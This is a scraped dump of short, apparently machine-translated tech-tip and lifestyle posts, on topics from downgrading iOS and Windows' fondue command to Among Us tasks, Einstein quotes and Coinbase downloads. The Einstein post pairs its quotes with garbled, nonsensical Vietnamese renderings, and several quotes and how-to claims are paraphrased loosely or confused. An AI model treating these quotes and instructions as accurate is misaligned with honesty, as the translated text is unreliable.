cable pointing toward a MacBook (like the picture at the top of this post). Your iPhone or iPad will likely restart during this process, but don't let go of the button(s) until you see the recovery mode screen.\u0026nbsp;\nIf you have an iPhone 6S or older, an iPad with a home button or iPod Touch sixth generation or older, hold in the sleep/wake button and the home button at the same time until you see the recovery mode screen. For an iPhone 7, 7 Plus or iPod Touch seventh generation, hold in the sleep/wake button and the volume-up button at the same time until you see the recovery mode screen. For iPhone 8 or later, quickly press the volume-up followed by volume-down buttons, and then hold in the side button until you see the recovery screen. iPad Pro users will quickly press the volume-up, then the volume-down buttons, followed by holding in the top button until you see the recovery screen.   4.\u0026nbsp;You should see a prompt on your computer, letting you know a device in recovery mode has been detected. It will ask if you want to Restore or Update your device, select\u0026nbsp;Restore. Your computer will download and install the latest official version of iOS 13 on your device.\u0026nbsp;\nIf you don't see a prompt, you'll need to open Finder (on a Mac) or iTunes (on a PC), select your device, and then select\u0026nbsp;Restore.\nIf created a backup of your phone or tablet before joining the beta program, once iOS 13 is installed you'll be asked if you want to use that backup to restore your device. If you didn't back up, you'll have to start from a fresh install.\u0026nbsp;\nThere's nothing wrong with going back to iOS 13 -- there are plenty of features worth your attention. There's even a bunch of hidden features we thoroughly enjoy. Of course, if you're tempted by iOS 14, you can always install the beta again, closer to its full launch.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2ahn6h6coCMqKlmoaCWsbC%2FjGprZpmemXqou4ybmJyjXam8brXOrGRqaw%3D%3D\n","link":"/post/you-can-uninstall-ios-14-or-ipados-14-and-go-back-to-ios-13/","section":"post","tags":null,"title":"You can uninstall iOS 14 or iPadOS 14 and go back to iOS 13"},{"body":"Albert Einstein (1879-1955) was a German-American genius scientist, known as the \"father\" of special relativity and general relativity. In addition to being a great physics genius, Einstein left a shining example of devotion, sacrificing his personal life to devote himself to science and career to fight for peace. Humanity, besides being a simple lifestyle, does not desire status, wealth, power.\nHere are 10 immortal life philosophies that Albert Einstein has left for posterity.\n1. Keep things simple   If you can't explain to a six-year-old, you don't understand it at all.\n\"Nếu bạn không thể xác định nó để một năm six năm, bạn không biết nó nó.\"\nTrying to make things complicated means that you don't understand the nature of the problem. Remember the great teachers, professors, counselors or anyone you admire who taught you. They explained all the pages of the text to you with the most simple and understandable words. You should also keep this in mind when communicating or training employees: always simplify.\n2. Be creative   Creativity is contagious, spread it!\n\"Creativity is contagious, pass it on.\"\nInspire people to do what they love. Use your creativity to create jobs and joys. It's time for you to give your mind to the ideas and create a domino effect to everyone around you.\n3. Be diligent and dare to make mistakes   The only way to make sure you avoid making a mistake is to not have a new idea.\n\"Chỉ có thể xác thực để xoá sạch lỗi này là để có gì mới không.\"\nMistakes are things that happen every day, every hour with anyone. And what really changes the world, is not a perfect process but new ideas. Therefore, learning to accept mistakes and risking creativity is essential to creating positive change in any organization.\nYou never fail until you stop trying.\n\"You never fail until you stop trying.\"\nEinstein devoted his life to studying physical theories and many of them did not produce any results. We cannot be sure of the outcome of everything but perseverance is the key. All we can do is work hard on the goal. Failure only exists when you stop right there without trying to move on to success.\n4. Live for today   I never thought about the future. It will come quickly.\n\"I never think of the future - it comes soon enough.\"\nYou can only be sure of what is going on in the present. You have the right to worry about the future and build a plan, but almost everything will not happen as you expected. The most important issue is to live hard today, do everything best in your ability and will not have to worry about what happens in the future.\n5. Think differently   I have never discovered anything by rational thinking.\n\"I never made one of my discoveries through the process of rational thinking.\"\nThe best things come always from thinking \"out of the box\" and doing unusual things. People are often uncomfortable with people who think differently, but that's also the reason why only a few people are outstanding. When you have a problem, try to think in a different direction, maybe you will get an answer.\n6. Promote imagination   Imagination is the supreme form of research.\n\"Imagination is the highest form of research.\"\n  \"I have the ability to draw freely like a painter just because of my imagination. Imagination is more important than knowledge. Knowledge is limited. Imagination embraces the world.\"\nAfter imagining something else, you start sharing it with everyone. After that, people will be able to see the world you imagine and they will link, support you. Take the time to dream, imagine and remember to share your ideas with those around you.\n7. Do the impossible   Only those who try their best can achieve impossible things.\n\"Only those who can achieve the impossible.\"\nOnly when you are ready to face difficulties will you come closer to the impossible. \"The impossible\" is just a relative concept. You will be surprised to dare to overcome the reasonable things that people still think.\n8. Respect everyone From everyday life, we know that living - first of all for those around us, for those who always smile and make us happy.\n\"We know from daily life that we exist for first people of all, for có thể làm việc làm việc thực hiện phụ thuộc vào.\"\n  Life will not be worth living, unless we live for others.\n\"Life isn't worth living, unless it is lived for someone else.\"\nPlease take care of everyone first. Spend at least a few minutes a day focusing on connecting, chatting with others. Let them know that you value them. Thanks and give them the compliments they deserve. This not only helps their mood better but also your mood.\n9. Always ready to learn   Learning is experience. Other things are just information.\n\"Learning is experience. Everything else is just information.\"\nLearning is a journey rather than being immersed in all the information. \"Dive for treasure\" and keep in mind that there are only a few things that are useful for you, others don't. Learning is not something that can be suitable for everyone, find your own way.\n10. Do the right things   Always do the right thing. This will please some people and surprise the rest.\n\"Always by what's right; this will gratify some and astonish the rest.\"\nWhen you stand in the middle of a crossroads, choose the right thing to do. Other options may be easier to implement or give you more money. But if you think the other option, though difficult, will give you more opportunities in the future, or simply that is the right thing to do, then select it.\nSometimes rough bumpy roads will outperform the many trails that have gone. Take the time to monitor the values ​​achieved and do the right things to help you excel in the crowd.\nncG1vNJzZmismaXArq3KnmWcp51krq2uxKurZp2Zo8C1scinqmaomK7Aqq%2FSZp6eppmqwG6tzZ1kamhdpb%2Bwss6upZ1lnJrAtLvNrGSamp%2BqwW64yJ%2Bc\n","link":"/post/albert-einstein-s-physics-genius-and-10-profound-lessons-about-life/","section":"post","tags":null,"title":"Albert Einstein's physics genius and 10 profound lessons about life"},{"body":"Low-income people often choose to replace laptop battery cells as a \"rescue\" solution when the battery is bottled, but not many people are aware of the risks that will happen to their computers.\nBao Anh (Giang Vo, Hanoi) is a third-year student of a large university in Hanoi. The battery of the HP Probook 4420s laptop is bottled, making it very difficult for him to study and work. Therefore, Bao Anh decided to buy a new battery for his laptop.\nHowever, the laptop battery price ranges from 800,000 to 1,000,000 VND is not a reasonable level for students like Bao Anh so he thought about changing the cell for the battery as recommended by friends.\n  Many people for cell replacement are a low-cost solution. (Photo: Xuan Ngoc) .\nWhen coming to Ha Viet Computer on Thai Ha Street, Hanoi, Bao Anh was told by the staff, the price of each \" genuine\" cell is VND 120,000, and the cell is usually VND 60,000. The staff of the consulting shop, cell replacement is often the last choice for laptop users. Cells can only be used in the first half of the time, while \"good \" cells make the battery as good as a genuine battery.\nIn addition, this person also confirmed that changing the cell does not affect the operation of the device. At another store also on Thai Ha Street, genuine cells only cost 80,000 VND per cell. The price is also inconsistent when Bao Anh goes to consult more, some places are VND 100,000. The owner of a laptop shop in Kim Hoa Street (Hanoi) said that with the type of battery that wants to replace cell, it must add 100,000 VND to repair the circuit board.\n  The main parts of laptop batteries include ICs and cells. (Photo: Xuan Ngoc) .\nAccording to Mr. Thanh, Director of FPT Service engineering company (Cau Giay, Hanoi), laptop battery consists of two parts: IC (electronic circuit) and cell (small batteries). Replacing laptop battery cells is essentially removing broken cells and replacing them with new cells.\nWhen doing this, the operator must measure the voltage intensity as well as the compatibility parameters for the battery after the cell replacement can be operated with the machine. If done properly, this will not affect the operation of the machine nor cause serious consequences. But if done incorrectly, it will affect the operation of the machine, such as making the battery too hot or bulging.\nMr. Nam, the owner of an electronic supply shop in Xa Dan 2 Street (Hanoi), recalled that when the new cell battery replacement campaign was initiated, many people brought their batteries to the store to replace .\"However, after a period of use, users realize that the quality of the battery is not guaranteed,\" he said.\nAccording to Mr. Nam, batteries are not as original as most cells on the market are not sold by the genuine. Each cell as well as a battery, before being marketed, is carefully inspected by manufacturers to ensure quality and performance.\nBut the cells that stores use to replace guests are mostly without origin but mostly from China. Quality, therefore, is not guaranteed by genuine goods.\nBesides the production process issues, each component, especially the laptop battery IC, is fitted together. When disassembling the battery to replace the cell and re-insert it, if it is not good, it will cause parts that are not eaten to create problems when operating. Mr. Nam said that changing the cell manually cannot guarantee that the battery will have no problems during use.\nHowever, if you do not replace the cell and buy a new battery, the user is also \"headache\" because the laptop battery market is very rich in variety.\nFor people with no experience, choosing a good battery is not easy. There have been many cases of buying fake, poor quality batteries, even recycled batteries - a form of cell batteries that have been replaced.\nAccording to Mr. Nam, when buying new batteries, buyers should pay attention to the external characteristics. First of all, the parameters on the battery that manufacturers are printing a lot, meanwhile the unknown type has the opposite expression. Users should also pay attention to the lightness and clarity of print. If a battery has a translucent, unclear parameter, even blurry, then it is not a good battery.\n  Print quality on battery parameters is the most noticeable distinguishing sign. (Photo: Xuan Ngoc) .\nIn addition, to avoid buying recyclables, observe the joints and connectors of the battery parts. If these parts show signs of glue and are not smooth, the battery may have been removed and replaced.\n  Users should observe the connector of the battery to detect the product to be replaced or replaced. (Photo: Xuan Ngoc) .\nDirector of FPT Service Company (FPT Service) advised users to buy batteries at genuine distribution stores. This is the easiest way to get a quality battery. Mr. Thanh said that the price of each good quality cell also makes a battery as high as the original battery, while, if the cell is replaced, the user has to bear the unforeseen risk of disassembly.\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCgp59dmLKtuIyfpqtlnJa9tbvPZpmarKSav7p5x5qqZqWRo8Zuvsisoqw%3D\n","link":"/post/changing-cell-for-laptop-battery-has-many-risks/","section":"post","tags":null,"title":"Changing cell for laptop battery has many risks"},{"body":"5 best video compression apps on AndroidYou may have been in a situation where you needed to share or backup large videos online. It could be a movie, a comedy skit or your baby's first steps.\n Download GOM Saver: The leading photo and video optimization tool for phonesGOM Saver was built by the video experts at GOM \u0026amp; Company. GOM Saver was created to help you save memory space on your smartphone.\n Link Download WinRAR 6.00b1: A free compression and decompression toolWinRAR is a popular trial software program that is used to decompress files from a directory or compress them into a single file.\n Instructions to crack online Rar files and softwareArticle Instructions to crack online Rar files and software (100% of success), this article has not been updated the description, see details here!\n How to scan virus files ZIP, RAR with ZipeZipZipeZip will scan Zip and rar files to ensure safety before users download.\n How to simplify 7z file compression with Bash Alias7-Zip wins the No. 1 position in the hearts of most users, thanks to a unique combination of performance and great compression level at zero cost.\n How to extract multiple files on Windows 10Application Zip Open Zip All Zip Tar Unrar Unzip will extract multiple files simultaneously on Windows 10.\n Instructions for scanning documents with 3 simple stepsIn today's modern technology, scanners and printers are indispensable devices. Users can scan many different types of text documents such as reports, document files, important\n How to open, run the .jar file on a Windows computer?To open a .jar file on a Windows computer you will have to install the Java Runtime Environment (JRE). Alternatively, you can use decompression software to view the files attached\n WinRAR settings automatically delete the root directory after decompressing the dataWinRAR is currently one of the most popular file compression software applications today. The application allows users to compress file sizes so that they can be easily shared\n Operation mechanism of file compression toolLet's explore this file compression tool that works in two main forms: compression without lossless quality and and loss of compression (lossy).\n How to extract Zip files directly on Google DriveZip files should be no stranger to users of electronic devices. On the computer, you will have decompression tools like WinZip or 7-Zip but if the file is compressed on Google\n How to recover a corrupted zip file with ZIP Repair from DiskInternalsZIP Repair from DiskInternals is a software that helps to extract files saved in a corrupted zip file, helping you retrieve important data.\n How to use 7Zip to encrypt files and folders on Windows 10Users often choose 7-Zip to extract files, but many people may not know that the software can encrypt files and folders using AES-256 encryption algorithm.\n Instructions to fix errors WinRAR diagnostic messages, downloaded files are corruptedHow to fix Winrar diagnostic messages is very simple, help you can handle downloaded files that are corrupted, decompress the downloaded files quickly.\n Unzip Zip, RAR, ... files online without softwareExtracting Zip files, RAR does not need to install software with the online file decompression tools that we introduce below will save you a lot of time when extracting files\n Which file compression format is best?It's time to compress some files, so which format do you use? Zip, RAR, 7z, or something else? This article has tested a number of tests to determine which format allows maximum\n Archive Extractor - Free online decompression tool with over 70 different file formatsArchive Extractor is a free online file decompression tool. With an easy-to-use interface, compression file protection is protected by passwords and the ability to extract more\n How to compress files with WeCompress toolWeCompress is a file compression tool that supports many different platforms, with many formats like PDF, PowerPoint, Word, Excel, PNG, TIFF \u0026amp; JPEG.\n The best RAR file extraction application on AndroidRAR format is a popular file type for data compression. Although you can use RAR files on macOS and Windows more on your phone, sometimes you still need the tool to work with it\nncG1vNJzZmismaXArq3KnmWcp51ksHCvzqanq52jqHqiusNmm56bn6K9s7HSrGY%3D\n","link":"/post/compress-and-decompress-tipsmake-com/","section":"post","tags":null,"title":"Compress and Decompress - tipsmake.com"},{"body":"YouTube provides users with the option to link their YouTube and Facebook accounts so that every time you upload a new video, it will show up on your timeline.\nYouTube cannot link your channel directly on Fanpage pages, but you can link YouTube channel on Fanpage or use Facebook's 3rd application. For example, if you regularly upload (upload) your YouTube channel of instructional videos, product descriptions, etc., the application will automatically upload your video to the timeline so that other users can access it. watch your video.\n  Steps to add YouTube channel to Facebook Fanpage page: Step 1: Log in to your Facebook account under Admin to control your Fanpage page.\nStep 2: Next enter the keyword YouTube into the Search Facebook frame and then click on YouTube for Pages on the search results list.\nStep 3: Click Click Here to Install, then click to select Add YouTube for Pages .\nStep 4: Next click Go to App , then select Allow .\nStep 5: Enter the phone number of the company or the phone number you use to trade . into the appropriate section.\nStep 6: Check I have read and accepted the Terms of Service section , then click Save Changes.\nStep 7: Enter your YouTube channel name in the YouTube Username / Channel Name frame. Use the remaining option to set up how to link YouTube channels and Fanpage.\nFor example, do you select YouTube Username / Channel Name and Allow user comments?\nStep 8: Click Save Changes and add YouTube channel to your Facebook Fanpage page.\nRefer to some of the following articles: 7 YouTube URLs help you become a true \"hacker\" YouTube video How to watch blocked YouTube videos or restrict viewers without signing in or proxying Summary of how to fix errors without downloading files, not accessing YouTube and Not Responding errors on Chrome browser Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaqwjLKmrmWbo7y4eceormasn2KupbCMsqaurKWXsm6vx5qlp52cYsGwecWamp6an6S4brLAp6ean5U%3D\n","link":"/post/did-you-know-how-to-add-youtube-channel-to-facebook-fanpage/","section":"post","tags":null,"title":"Did you know how to add YouTube channel to Facebook Fanpage?"},{"body":"As you know, Microsoft Office Web Apps online service provides users with storage of up to 25GB of free storage through storage on SkyDrive. However, the use of Office Web Apps must go through the web interface, which will make users feel a bit confused. If using MS Office 2007 or 2010, users can still edit documents on this archive without having to go to the web and the working interface is too familiar.\nTo proceed, you need to visit http://office.live.com/ to create a free Microsoft Live ID account to exploit this perfect service.\nThe interface of Office Web Apps window appears, users click on File \u0026gt; Open in Word menu, and if you're working with a document, click on the Open in Word button in the ribbon bar.\n  Now confirm the opening of your document when the dialog box appears by clicking on the OK button, which is required so that you can open the document with the Office application available on your computer. When opened, the Office application will need some time to download documents to the system, fast or slow speed depending on the transmission line and the download of large or small files.\nDepending on the usage, if this is the first time, you will receive a request to log in to your Live ID account before you can view the file. This Live ID account is the account that the file uses to download, you cannot log in with another file.\n  Now, your document will be opened under the MS Word interface or another application depending on the document format opened. By default, a Protected View message appears asking you to click the Enable Editing button and choose Edit to begin editing.\nSo now you can proceed to edit your documents completely on the computer's Word interface. With this, you can also take advantage of the built-in features offered by Office, even including the features that Office Web Apps does not support.\nWhen you want to save the document, click on the save document icon in the upper right corner with the addition of 2 arrows to store it on the SkyDrive repository, where you can change and preview files online.\nIf you want to save a copy of the editing document to your computer, go to the File menu or click on the globe icon in Office 2007 and select Save As . Now, you can save files wherever you want on your computer.\n  Some problems may be encountered\n- Office Web Apps only supports IE, Firefox, and Safari, while Chrome only supports working online but does not allow downloading to edit. The same problem if the system uses other Office applications, such as OpenOffice.org.\n- Some web applications like Excel and OneNote allow simultaneous editing of online documents with offline documents. However, when opening in the Office application, you will receive a warning that cannot be supported, now you need to use it in your web browser.\nThe only way to fix the above problems is to go to the SkyDrive archive and click More \u0026gt; Download . Once the file is downloaded, users can proceed to edit it in the normal office application, then upload it to the SkyDrive storage space again.\nIf you want to make edits, you edit it in the normal office application and then upload it to the SkyDrive storage space.\n  ncG1vNJzZmismaXArq3KnmWcp51ksqW102amn56ZmLJuw8SbZJqooKh6pbvCrqSepqSoeri106FkpqtdpLOntcKe\n","link":"/post/edit-office-web-apps-documents-with-ms-office/","section":"post","tags":null,"title":"Edit Office Web Apps documents with MS Office"},{"body":"Applies to : Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012.\nThe fondue command activates optional Windows features, by downloading required files from Windows Update or another designated source under Group Policy. The manifest file for the feature must be installed in your Windows Image.\nCommand syntax fondue fondue.exe /enable-feature: [/caller-name:] [/hide-ux:{all | rebootRequest}]  Parameters Parameter Description / enable-feature: feature_name \u0026gt; Specifies the name of the Windows option feature that you want to enable. You can only enable one feature for each command line. To enable many features, use fondue.exe for each feature. / caller-name: program_name \u0026gt; Specifies the program or process name when you call fondue.exe from a script or executable file. You can use this option to add the program name to the SQM report if there is an error. rebootRequest} Use all to hide all messages for users including the process and request access to Windows Update. If access is required, the operation will fail. Using rebootRequest only hides the user's notifications requesting permission to restart the computer. Use this option if you have a script that controls reboot requests. For example To enable Microsoft .NET Framework 3.5, enter:\nfondue.exe /enable-feature:NETFX3  To activate Microsoft .NET Framework 3.5, add the program name to the SQM report and do not display the message to the user, enter:\nfondue.exe /enable-feature:NETFX3 /caller-name:Admin.bat /hide-ux:all  See more:\nThe flattemp command in Windows Findstr command in Windows Finger command in Windows ncG1vNJzZmismaXArq3KnmWcp51ks7C6w66cZpuforqiusNmoKdlp567pbvWrA%3D%3D\n","link":"/post/fondue-command-in-windows/","section":"post","tags":null,"title":"Fondue command in Windows"},{"body":"WhatsApp is one of the popular messaging apps today, with many new features. The highlight is what WhatsApp values ​​user privacy and preferences, so if you want you can block any user in WhatsApp's messaging app.\n  1. What happens when you block someone on WhatsAPP? When you block a certain user on WhatsApp:\n- Messages they send you will not be delivered.\n- They will receive a message saying that the message was not sent and do not know why.\n- They cannot see the last information you were online.\n- Messages they send to you will not be deleted.\n- Messages you send to them will not be deleted.\n- You will not be removed from your name on their phone.\n- They will be wiped from the contacts on your phone.\n2. How to block a user on WhatsApp? - On iOS devices: To block a user on WhatsApp for iOS devices, access your conversation and that user on WhatsApp, then click on that username in the top corner.\n  Scroll down to find and click Block this Contact . Click Block again to confirm that you want to block that user.\n  Alternatively, go to Settings =\u0026gt; Account =\u0026gt; Privacy =\u0026gt; Blocked .\n  Here you will see a list of all the contacts you have blocked. Click Add New and search for the user contact you want to block. Select that contact number and they will be added to your block list.\n  - On Android device: To block users on WhatsApp for Android devices, access the conversation between you and that user, then click the 3 dots icon in the top right corner. Click on Block and confirm. And that user will be blocked.\n  Alternatively, you can go to Settings =\u0026gt; Account =\u0026gt; Privacy =\u0026gt; Blocked Contacts . Click the Add button and find the user contact you want to block.\n  3. How to unblock users on WhatsApp? There are many ways to unblock a user on WhatsApp. If you send a message to the user you blocked, you will be asked to unblock them. Click Unblock to unblock.\n  Alternatively, you can unblock users on WhatsApp by accessing the conversation between you and the blocked user. On iOS devices , click on the user name then scroll down to find and click Unblock this Contact . On the Android device, click the 3 dot icon and select Unblock .\n  Finally, you can access the Blocked Contacts screen. On iOS devices, click Edit , then click the red circle icon and select Unblock .\n  On the Android device, click or press to hold the username block blocked to unblock, then click Unblock from the menu.\n  Refer to some of the following articles: Instructions for making video calls on WhatsApp application on iPhone 10 features that make it easier to master WhatsApp Fix 'Installer Has Failed' error during WhatsApp installation for computer Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecBmrKydomK8r3nWoZitq5GlvQ%3D%3D\n","link":"/post/how-to-block-a-user-on-whatsapp/","section":"post","tags":null,"title":"How to block a user on WhatsApp?"},{"body":"In Among Us , one way to victory for crewmates is to fulfill all of the requirements on the map. Crew members must work quickly and efficiently if they want to finish the game or put pressure on Impostor. However, if you are new to POLUS maps , you may be surprised by some of the quests, check them out in this article!\nTypes of quests in the Polus map Like other maps, Polus has three types of missions for crewmates:\nShort Tasks: Tasks are easy to complete and take less time. Long Tasks: Tasks that have many steps, may require a while to complete or lie in different locations. Common Tasks: Common tasks that all crew members have. If you don't have this task, and you see someone doing it, he is pretending! All 23 missions must be completed in the Polus map, including 2 missions that are visible. You should use them to prove to others that 'I'm on this mission!'.\nInstructions to do 23 map Polus missions 1. Telescope (Align Telescope)   Type: Short Task Location: Laboratory You have to move the telescope through the stars to find the right object with the thumbnail on the right hand side. The beep will sound more urgently as you get closer to the right subject.\n2. Chart (Chart Course)   Short Task Dropship Move the ship on the chart from start to end.\n3. Shoot meteors (Clear Asteroids)   Short Task Weapons You touch the incoming meteors to remove them. When you do this, the gun outside the Weapons room will shoot up into the sky. Thanks to that, other people can identify you as the real Crewmate.\n4. Empty Garbage   Short Task O2 Just drag the lever beside the screen and hold it until you complete the task.\n5. Fill Canisters   Short Task O2 Pull the 2 cylinders in turn to the correct position and wait for it to recharge.\n6. Fix the weather table (Fix Weather Note)   Long Task Outside, Laboratory First, you need to move the cursor from the starting point to the end of a maze. Then go to Laboratory to turn on the weather button and complete the task.\n7. Fix Wiring (Fix Wiring)   Common Task Electrical, Laboratory, O2 Pull the rope from the left side to the right color on the right side.\n8. Refueling   Long Task Storage, Outside First you go to Storage, click the square button to fill with gas. Then go out, fill the engine with gasoline.\n9. Insert Keys   Common Task Dropship Insert the key into the appropriate lock error and rotate it left or right.\n10. Sampling (Inspect Sample)   Long Task Laboratory The first time, you start pressing the button to refill the test tubes. You can go somewhere, after 60 seconds go back and choose a tube with a different color.\n11. Adjusting Nutrition (Monitor Tree)   Short Task O2 Slide the sliders to the correct horizontal line.\n12. Open Waterways   Long Task Boiler Room, Outside You must turn the 3 water valves in turn clockwise until it completes.\n13. Restart Wifi (Reboot Wifi)   Long Task Communications Players must drag the lever on the screen until the counter starts. After 60 seconds, go back and pull the lever up to complete the task.\n14. Record Temperature   Short Task Laboratory, outside Adjust the temperature on the left side of the screen to match the number on the right.\n15. Repair Drill (Repair Drill)   Short Task Laboratory Just click on the exclamation mark until they disappear.\n16. Replace Water Jug (Replace Water Jug)   Short Task Boiler Room, Office First go to Boiler Room and press the button to refill the tank, then Office and refill the water.\n17. Scan boarding pass (Scan Boarding Pass)   Common Task Office To complete this task, tap on the yellow triangle to pull up your card. Press the yellow arrow again to flip the card, then drag the card across the red scanner until it turns green.\n18. Start the reactor (Start Reactor)   Long Task Specimen To complete this task, enter the correct order in the order that the keys light up on the left screen into the right screen. The number of keys will appear more per completion, up to 5.\n19. Store artifacts (Store Artifacts)   Short Task Specimen You just need to match 4 objects corresponding to its position in the box.\n20. Body scan (Submit Scan)   Short Task Laboratory Stand on the device and let it scan you. This is a visible mission, take advantage of it to prove your innocence.\n21. Swipe Card (Swipe Card)   Common Task Office Pull the card out of your wallet and drag it through the card reader at a moderate speed, if you do it too quickly or too slowly you will have to do it again.\n22. Unlock Manifolds (Unlock Manifolds)   Short Task Specimen Just press on the numbers in the correct order.\n23. Upload the file (Upload Data)   Long Task Electrical, Office, Specimen, Weapons, Communications. First, players run the first point and press Download to get the data, then go to the next point and upload the data.\nThese are all quests that appear on the Polus map, practice to be able to perform the task as quickly as possible! Wish you happy gaming!!!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2tsdOeZGtrXaK2tL%2FIqKWsZZ%2BjerW0xGanqKSlqHqurc9moKdlkaK8r7OMrqpmnp%2BnerW0xGaaq52noq61sdI%3D\n","link":"/post/how-to-complete-23-missions-on-the-polus-map-in-among-us-for-the-crewmates/","section":"post","tags":null,"title":"How to complete 23 missions on the Polus map in Among Us for the crewmates"},{"body":"Having unwanted applications running in the background sometimes causes caching and consumption of free memory. Task Killer is a great tool that allows you to close all unwanted applications running in the background of the device. This improves your performance and enhances your overall experience. For details on how to install and use Task Killer on your computer, follow the steps below.\nInstructions on how to install and use Task Killer on the computer Step 1: Download the latest version of Task Killer here:\nStep 2: Open the folder containing the downloaded file, double-click the file (or right-click and choose Open) to proceed with the installation.\n  Step 3: The installation window appears, select Next.\n  Step 4: Click I Agree to agree to the terms of use of the software.\n  Step 5: Check Create shortcut to Task Killer on desktop or Create shortcut to Task Killer on quick launch if you want to create a software shortcut on the desktop. Click Next to continue.\n  Step 6. Click Browse to select the drive containing the installation file, or else you can leave the default and click Install.\n  Step 7: Wait for the installation to take place in a few minutes.\n  Step 8: Check Run Task Killer if you want to open the software after installation, click Finish to complete.\n  Manual Task Killer\nAfter opening the software, Task Killer will work under the system tray. If you don't see it, click the arrow icon to display it.\n  To shut down a running program, click the software, select Windows, and then click the name of the program you want to shut down.\n  Confirmation window appears, select Yes.\n  To shut down a process, click the software, select Processes, then click the name of the process you want to shut down.\n  Click Yes to confirm.\n  In addition, you can also configure Task Killer by right-clicking on the software and selecting Settings.\n  In the Settings window, you can customize information such as Appearance (interface), or Hotkeys (setting keyboard shortcuts). After configuration is complete, click Apply \u0026gt;\u0026gt; OK to confirm.\n  Above are instructions on how to install and use Task Killer on a computer. Now in addition to Task Manager you have another tool to stop programs running in the background more quickly. Hope you will take full advantage of the features that the software offers. Good luck. Task Killer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnTmqqkZZueua2x0Wamp2WknbJur86mp66slac%3D\n","link":"/post/how-to-install-and-use-task-killer-on-the-computer/","section":"post","tags":null,"title":"How to install and use Task Killer on the computer"},{"body":"On Outlook it is always the default mode that does not mark read messages even when we select and view them in the preview pane. If you want to mark a message, you must switch to reading a new email. This accidentally causes users a lot of trouble, in case we read the messages and delete them, the email will become an unread message by default and appears in the Deleted items section.\nSo how can I make Outlook mark with messages read when we have selected and view them on the Reading Pane preview pane?\nStep 1: In the Outlook interface, we will select the File item at the top of the interface to the left.\n  Step 2: Switch to the new interface, users will click the Options section in the menu on the left of the interface.\n  Step 3: In the Outlook interface on the left menu, select the Mail tab.\n  We look to the right interface in the Outlook panes section and click the Reading Pane button.\n  Step 4: The Reading Pane dialog box appears. Here, users should check the Mark items as read when viewed in the Reading Pane so that Outlook settings will always mark the incoming email as read when we have selected and view them in the Reading Pane preview pane.\nContinue, Outlook will fix the time to mark the email read after 5 seconds, since you read the email. In case we want Outlook to mark the email read immediately when selecting them, it will change the number 5 to 0 in the Wait X seconds before item marking as read . Or you can replace it with 1 or 2 seconds as you like.\nNote to users , Mark item as read when selection changes option below will be automatically removed when you tick Mark items as read when viewed in the Reading Pane. Users are only allowed to choose 1 of these 2 options only.\nFinally click OK to save this change.\n  Step 5: Going back to the Outlook Options interface, click OK below to complete any changes you have made.\n  With just a very small trick, email on Outlook was marked as read when we selected and viewed them in the Reading Pane preview pane without having to switch to another email. In addition, we can also set the option time for Outlook to automatically mark the read email.\nRefer to the following articles: Email on Outlook is not synchronized on Windows 10, this is how to fix it List of Outlook 2016 shortcuts when working with Mail Delete email addresses automatically saved on Outlook ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRp7huwMeeZKudkZl6prnAoqNmr5iau26%2FxKWcnKyZo7Ruu81mpq6snKS8rHmRaWhv\n","link":"/post/how-to-mark-the-read-email-when-selecting-on-outlook-2016/","section":"post","tags":null,"title":"How to mark the read email when selecting on Outlook 2016"},{"body":"When typing a string of numbers, data entry people have a habit of inserting dots in the middle to easily observe the data and reduce errors when entering data. However, in some cases, the dot will make the calculation impossible. So in this article, Dexterity Software will introduce you to read the article: How to remove periods in numbers in Excel.\n  Remove the period with the Find \u0026amp; Replace tool Let's say you have the original series of numbers like the worksheet below:\n  Step 1: You copy the original data into the area to paste. If you are editing on the original data without saving it, skip this step.\n  Step 2: Highlight the data area to delete the dot. Note that you must do this step to avoid affecting the content of other cells.\n  Step 3: Press Ctrl + H to open the Find \u0026amp; Replace window . The Find \u0026amp; Replace window appears . In the Find what: section enter; Replace with: leave blank then press the Replace All button to delete all the dots in the selection in step 2. Or press the Replace button to delete one dot at a time.\n  The dot results in the cells in the data range that you selected step 2 have been deleted:\n  Remove the period with the SUBSTITUTE function The structure of the SUBSTITUTE function is as follows: SUBSTITUTE (text, old_text, new_text, [instance_num]). Inside:\nText: Required argument. The original text you want to replace the characters with. or may be a location that refers to the cell containing the original character. Old_text: Required argument. The character you want to replace. New_text: Required argument. New character to replace old_text. Instance_num: An optional argument, the location of the old_text replacement. If omitted, every time the old text appears, it will be changed to new text. For the above example, you use the following SUBSTITUTE formula: = SUBSTITUTE (cell location, \"0\", \"\") .\nResults:\n  Copy the data for the remaining cells in the column you get the following result:\n  Note that the results obtained are non-numeric formula data, if you accidentally delete the data in the original cell, the results also change.\n  Above Dexterity Software has taught you two ways to remove periods in numbers in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYypnKuhn5nAbrXNZqWupZKav7R5yKdknrCTmrk%3D\n","link":"/post/how-to-remove-periods-in-numbers-in-excel/","section":"post","tags":null,"title":"How to remove periods in numbers in Excel"},{"body":"Last month's bitcoin prices surged, attracting more and more investors to participate in the virtual money market.\nMany of them chose to use Coinbase, a simple, easy-to-use application for exchanging dollars for bitcoin. Coinbase quickly climbed to the top of the free apps loaded on the App Store rankings in the US, although it leveled off on December 8.\nA recent report from Sensor Tower, an application analysis company, shows the number of people downloading Coinbase on iPhones and iPads. Within a week when the price of Bitcoin increased, Coinbase had 700,000 new downloads and installations.\n  Compare Coinbase, Instagram and Snapchat downloads on the App Store in the US\nAccordingly, the number of downloads and installments of Coinbase is double that of popular apps like Instagram or Snapchat. Then the Coinbase load decreases again.\nHowever, this is also an impressive performance of the application is only ranked 300th in the US App Store.\nIf bitcoin prices rise, then Coinbase downloads and other e-wallet applications will probably increase.\n  Graph of correlation between bitcoin prices and downloads of bitcoin e-wallet applications\nSee more:\nWhy is the price of bitcoin so high? How to dig bitcoin without wasting electricity The journey halfway around the world finds back 200,000 dollars bitcoin 